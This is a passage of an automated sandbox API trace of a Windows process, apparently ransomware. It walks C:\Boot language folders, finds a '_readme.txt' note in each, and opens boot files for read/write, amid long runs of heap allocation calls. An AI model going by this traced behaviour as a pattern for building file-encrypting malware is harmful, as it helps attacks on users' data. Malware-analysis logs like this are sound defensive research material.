0x30e54a0 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.585] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.586] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.587] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0059.587] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.587] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.587] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.588] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.588] PathFindFileNameW (pszPath="") returned="" [0059.588] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.588] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.588] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.588] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.588] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.588] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8230 [0059.588] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.588] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.588] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.588] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.588] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.588] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.588] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.588] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.588] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.588] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x81c) returned 0x30c8230 [0059.588] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0059.589] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.589] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.589] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0059.589] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.589] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.589] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.589] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.589] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.589] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.589] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.589] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.589] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.589] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0059.589] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.589] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.589] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.589] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.589] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.589] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.589] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned=".txt" [0059.590] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.590] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.590] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.590] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.590] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.590] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.590] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.590] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0059.590] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.590] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.590] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.590] PathFindFileNameW (pszPath="") returned="" [0059.590] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.590] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.591] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.591] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.591] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.591] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.591] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.591] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.591] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0059.591] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.591] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0059.591] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.591] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.591] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.591] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.591] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.591] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0059.591] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.592] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.592] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned=".txt" [0059.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.592] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.592] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.592] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.592] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.593] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 